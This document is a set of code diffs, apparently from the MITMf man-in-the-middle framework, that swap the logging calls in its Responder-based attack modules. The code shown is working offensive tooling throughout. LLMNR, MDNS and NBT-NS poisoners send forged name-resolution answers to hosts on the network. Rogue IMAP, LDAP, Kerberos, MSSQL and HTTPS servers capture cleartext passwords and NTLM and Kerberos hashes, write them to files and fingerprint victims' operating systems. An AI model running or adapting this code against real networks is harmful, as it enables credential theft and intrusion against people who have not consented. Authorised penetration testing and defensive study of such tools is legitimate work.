outfile = "./logs/responder/HTTPS-Clear-Text-Password-"+client+".txt"
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
#print "[+]HTTPS-User & Password:", b64decode(''.join(b))
responder_logger.info('[+]HTTPS-User & Password: %s'%(b64decode(''.join(b))))
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
return buffer1
else:
return str(Basic_Ntlm(Basic))
##################################################################################
#HTTPS Server stuff ends here (Not Used)
##################################################################################

@ -4,20 +4,22 @@ import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from IMAPPackets import * from IMAPPackets import *
from core.responder.common import * from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("IMAPserver", formatter)
class IMAPServer(): class IMAPserver():
def start(self): def start(self):
try: try:
mitmf_logger.debug("[IMAPServer] online") log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP) server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
t = threading.Thread(name="IMAPServer", target=server.serve_forever) t = threading.Thread(name="IMAPserver", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception as e: except Exception as e:
mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e)) log.error("Error starting on port {}: {}".format(143, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -43,9 +45,9 @@ class IMAP(BaseRequestHandler):
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt" Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Credentials, Credentials) WriteData(Outfile,Credentials, Credentials)
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials) #print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
mitmf_logger.info('[IMAPServer] IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials)) log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
self.request.send(str(ditchthisconnection())) self.request.send(str(ditchthisconnection()))
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception as e: except Exception as e:
mitmf_logger.error("[IMAPServer] Error handling request: {}".format(e)) log.error("Error handling request: {}".format(e))

@ -1,34 +1,34 @@
import socket import socket
import threading import threading
import struct import struct
import logging import logging
from core.logger import logger
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("KERBserver", formatter)
class KERBServer(): class KERBserver():
def serve_thread_udp(self, host, port, handler): def serve_thread_udp(self, host, port, handler):
try: try:
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except Exception, e: except Exception as e:
mitmf_logger.debug("[KERBServer] Error starting UDP server on port 88: {}:".format(e)) log.debug("Error starting UDP server on port 88: {}:".format(e))
def serve_thread_tcp(self, host, port, handler): def serve_thread_tcp(self, host, port, handler):
try: try:
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except Exception, e: except Exception as e:
mitmf_logger.debug("[KERBServer] Error starting TCP server on port 88: {}:".format(e)) log.debug("Error starting TCP server on port 88: {}:".format(e))
#Function name self-explanatory
def start(self): def start(self):
mitmf_logger.debug("[KERBServer] online") log.debug("online")
t1 = threading.Thread(name="KERBServerUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP)) t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
t2 = threading.Thread(name="KERBServerTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP)) t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
for t in [t1,t2]: for t in [t1,t2]:
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
@ -54,7 +54,7 @@ class KerbTCP(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data) KerbHash = ParseMSKerbv5TCP(data)
if KerbHash: if KerbHash:
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash)) log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
except Exception: except Exception:
raise raise
@ -65,7 +65,7 @@ class KerbUDP(BaseRequestHandler):
data, soc = self.request data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data) KerbHash = ParseMSKerbv5UDP(data)
if KerbHash: if KerbHash:
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash)) log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
except Exception: except Exception:
raise raise

@ -6,22 +6,24 @@ import re
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from LDAPPackets import * from LDAPPackets import *
from core.responder.common import * from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LDAPserver", formatter)
class LDAPServer(): class LDAPserver():
def start(self, chal): def start(self, chal):
global Challenge; Challenge = chal global Challenge; Challenge = chal
try: try:
mitmf_logger.debug("[LDAPServer] online") log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP) server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
t = threading.Thread(name="LDAPServer", target=server.serve_forever) t = threading.Thread(name="LDAPserver", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception as e: except Exception as e:
mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e)) log.error("Error starting on port {}: {}".format(389, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -60,11 +62,11 @@ def ParseLDAPHash(data,client):
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt" Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
WriteData(Outfile,writehash,User+"::"+Domain) WriteData(Outfile,writehash,User+"::"+Domain)
#print "[LDAP] NTLMv1 complete hash is :", writehash #print "[LDAP] NTLMv1 complete hash is :", writehash
mitmf_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash)) log.info('NTLMv1 complete hash is :%s'%(writehash))
if LMhashLen <2 : if LMhashLen <2 :
Message = '[LDAPServer] LDAP Anonymous NTLM authentication, ignoring..' Message = 'LDAP Anonymous NTLM authentication, ignoring..'
#print Message #print Message
mitmf_logger.info(Message) log.info(Message)
def ParseNTLM(data,client): def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data) Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
@ -93,8 +95,8 @@ def ParseLDAPPacket(data,client):
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen] Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password #print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt" outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,'[LDAPServer] User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password)) WriteData(outfile,'User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
mitmf_logger.info('[LDAPServer] User: %s Password: %s'%(UserDomain,Password)) log.info('User: %s Password: %s'%(UserDomain,Password))
if sasl == "\xA3": if sasl == "\xA3":
buff = ParseNTLM(data,client) buff = ParseNTLM(data,client)
return buff return buff
@ -102,7 +104,7 @@ def ParseLDAPPacket(data,client):
buff = ParseSearch(data) buff = ParseSearch(data)
return buff return buff
else: else:
mitmf_logger.info('[LDAPServer] Operation not supported') log.info('Operation not supported')
#LDAP Server Class #LDAP Server Class
class LDAP(BaseRequestHandler): class LDAP(BaseRequestHandler):

@ -1,34 +1,34 @@
#! /usr/bin/env python2.7
import socket import socket
import threading import threading
import struct import struct
import logging import logging
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.logger import logger
from core.configwatcher import ConfigWatcher from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.packet import Packet from core.responder.packet import Packet
from core.responder.odict import OrderedDict from core.responder.odict import OrderedDict
from core.responder.common import * from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LLMNRpoisoner", formatter)
class LLMNRPoisoner: class LLMNRpoisoner:
def start(self, options, ourip): def start(self, options, ourip):
global args; args = options #For now a quick hack to make argparse's namespace object available to all global args; args = options #For now a quick way to make argparse's namespace object available to all
global OURIP ; OURIP = ourip #and our ip address global OURIP ; OURIP = ourip #and our ip address
try: try:
mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP)) log.debug("OURIP => {}".format(OURIP))
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR) server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception as e:
mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e)) log.error("Error starting on port 5355: {}:".format(e))
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
@ -82,7 +82,7 @@ class LLMNR(BaseRequestHandler):
def handle(self): def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder'] ResponderConfig = ConfigWatcher().config['Responder']
DontRespondTo = ResponderConfig['DontRespondTo'] DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName'] DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo'] RespondTo = ResponderConfig['RespondTo']
@ -97,11 +97,11 @@ class LLMNR(BaseRequestHandler):
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1])) log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
except Exception: except Exception:
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name)) log.warning("{} is looking for: {}".format(self.client_address[0], Name))
else: else:
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name)) log.warning("{} is looking for: {}".format(self.client_address[0], Name))
if DontRespondToSpecificHost(DontRespondTo): if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]): if RespondToIPScope(DontRespondTo, self.client_address[0]):
@ -118,13 +118,13 @@ class LLMNR(BaseRequestHandler):
buff.calculate() buff.calculate()
for x in range(1): for x in range(1):
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
@ -132,13 +132,13 @@ class LLMNR(BaseRequestHandler):
buff.calculate() buff.calculate()
for x in range(1): for x in range(1):
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass pass
if args.analyze == False and RespondToSpecificHost(RespondTo) == False: if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
@ -147,26 +147,26 @@ class LLMNR(BaseRequestHandler):
buff.calculate() buff.calculate()
for x in range(1): for x in range(1):
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass pass
if RespondToSpecificName(RespondToName) == False: if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate() buff.calculate()
for x in range(1): for x in range(1):
soc.sendto(str(buff), self.client_address) soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception: except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass pass
else: else:
pass pass

@ -1,5 +1,3 @@
#! /usr/bin/env python2.7
import threading import threading
import socket import socket
import struct import struct
@ -10,10 +8,12 @@ from core.configwatcher import ConfigWatcher
from core.responder.odict import OrderedDict from core.responder.odict import OrderedDict
from core.responder.packet import Packet from core.responder.packet import Packet
from core.responder.common import * from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MDNSpoisoner", formatter)
class MDNSPoisoner(): class MDNSpoisoner():
def start(self, options, ourip): def start(self, options, ourip):
@ -21,13 +21,13 @@ class MDNSPoisoner():
global OURIP; OURIP = ourip global OURIP; OURIP = ourip
try: try:
mitmf_logger.debug("[MDNSPoisoner] OURIP => {}".format(OURIP)) log.debug("OURIP => {}".format(OURIP))
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS) server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
t = threading.Thread(name="MDNSPoisoner", target=server.serve_forever) t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception, e:
print "[MDNSPoisoner] Error starting on port 5353: {}" .format(e) log.error("Error starting on port 5353: {}" .format(e))
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
@ -78,7 +78,7 @@ class MDNS(BaseRequestHandler):
def handle(self): def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder'] ResponderConfig = ConfigWatcher().config['Responder']
RespondTo = ResponderConfig['RespondTo'] RespondTo = ResponderConfig['RespondTo']
MADDR = "224.0.0.251" MADDR = "224.0.0.251"
@ -89,14 +89,14 @@ class MDNS(BaseRequestHandler):
try: try:
if args.analyze: if args.analyze:
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
mitmf_logger.info('[MDNSPoisoner] {} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
if RespondToSpecificHost(RespondTo): if RespondToSpecificHost(RespondTo):
if args.analyze == False: if args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data) Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name) MDns = MDNSAns(AnswerName = Name)
MDns.calculate() MDns.calculate()
@ -104,7 +104,7 @@ class MDNS(BaseRequestHandler):
if args.analyze == False and RespondToSpecificHost(RespondTo) == False: if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data) Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name) MDns = MDNSAns(AnswerName = Name)
MDns.calculate() MDns.calculate()

@ -2,25 +2,27 @@ import struct
import logging import logging
import threading import threading
from core.logger import logger
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from MSSQLPackets import * from MSSQLPackets import *
from core.responder.common import * from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MSSQLserver", formatter)
class MSSQLServer(): class MSSQLserver():
def start(self, chal): def start(self, chal):
global Challenge; Challenge = chal global Challenge; Challenge = chal
try: try:
mitmf_logger.debug("[MSSQLServer] online") log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL) server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
t = threading.Thread(name="MSSQLServer", target=server.serve_forever) t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception as e: except Exception as e:
mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e)) log.error("Error starting on port {}: {}".format(1433, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -47,10 +49,10 @@ def ParseSQLHash(data,client):
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt" outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain) WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
mitmf_logger.info('[MSSQLServer] MsSQL NTLMv1 hash captured from :{}'.format(client)) log.info('MsSQL NTLMv1 hash captured from :{}'.format(client))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00',''))) log.info('MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Domain is :{}'.format(Domain)) log.info('MSSQL NTLMv1 Domain is :{}'.format(Domain))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge)) log.info('MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
if NthashLen > 60: if NthashLen > 60:
DomainLen = struct.unpack('<H',data[36:38])[0] DomainLen = struct.unpack('<H',data[36:38])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0] NthashOffset = struct.unpack('<H',data[32:34])[0]
@ -64,10 +66,10 @@ def ParseSQLHash(data,client):
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt" outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper() Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
WriteData(outfile,Writehash,User+"::"+Domain) WriteData(outfile,Writehash,User+"::"+Domain)
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 hash captured from {}'.format(client)) log.info('MSSQL NTLMv2 hash captured from {}'.format(client))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Domain is: {}'.format(Domain)) log.info('MSSQL NTLMv2 Domain is: {}'.format(Domain))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00',''))) log.info('MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash)) log.info('MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
def ParseSqlClearTxtPwd(Pwd): def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5','')) Pwd = map(ord,Pwd.replace('\xa5',''))
@ -86,7 +88,7 @@ def ParseClearTextSQLPass(Data,client):
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen]) PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le') UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr) WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
mitmf_logger.info('[MSSQLServer] {} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr)) log.info('{} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
def ParsePreLoginEncValue(Data): def ParsePreLoginEncValue(Data):
PacketLen = struct.unpack('>H',Data[2:4])[0] PacketLen = struct.unpack('>H',Data[2:4])[0]

@ -7,15 +7,17 @@ import logging
import string import string
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.logger import logger
from core.configwatcher import ConfigWatcher from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.odict import OrderedDict from core.responder.odict import OrderedDict
from core.responder.packet import Packet from core.responder.packet import Packet
from core.responder.common import * from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf") formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("NBTNSpoisoner", formatter)
class NBTNSPoisoner(): class NBTNSpoisoner():
def start(self, options, ourip): def start(self, options, ourip):
@ -23,13 +25,13 @@ class NBTNSPoisoner():
global args; args = options global args; args = options
try: try:
mitmf_logger.debug("[NBTNSPoisoner] OURIP => {}".format(ourip)) log.debug("OURIP => {}".format(ourip))
server = ThreadingUDPServer(("0.0.0.0", 137), NB) server = ThreadingUDPServer(("0.0.0.0", 137), NB)
t = threading.Thread(name="NBTNSPoisoner", target=server.serve_forever) t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
except Exception, e: except Exception as e:
mitmf_logger.debug("[NBTNSPoisoner] Error starting on port 137: {}".format(e)) log.debug("Error starting on port 137: {}".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
@ -107,7 +109,7 @@ def Decode_Name(nbname):
((ord(nbname[i+1]) - 0x41) & 0xf))) ((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except Exception, e: except Exception, e:
mitmf_logger.debug("[NBTNSPoisoner] Error parsing NetBIOS name: {}".format(e)) log.debug("Error parsing NetBIOS name: {}".format(e))
return "Illegal NetBIOS name" return "Illegal NetBIOS name"
# NBT_NS Server class. # NBT_NS Server class.
@ -115,7 +117,7 @@ class NB(BaseRequestHandler):
def handle(self): def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder'] ResponderConfig = ConfigWatcher().config['Responder']
DontRespondTo = ResponderConfig['DontRespondTo'] DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName'] DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo'] RespondTo = ResponderConfig['RespondTo']
@ -136,11 +138,11 @@ class NB(BaseRequestHandler):
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1])) log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
except Exception: except Exception:
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
else: else:
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
if RespondToSpecificHost(RespondTo) and args.analyze == False: if RespondToSpecificHost(RespondTo) and args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToIPScope(RespondTo, self.client_address[0]):
@ -151,26 +153,26 @@ class NB(BaseRequestHandler):
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
socket.sendto(str(buff), self.client_address) socket.sendto(str(buff), self.client_address)
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger: if args.finger:
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception: except Exception:
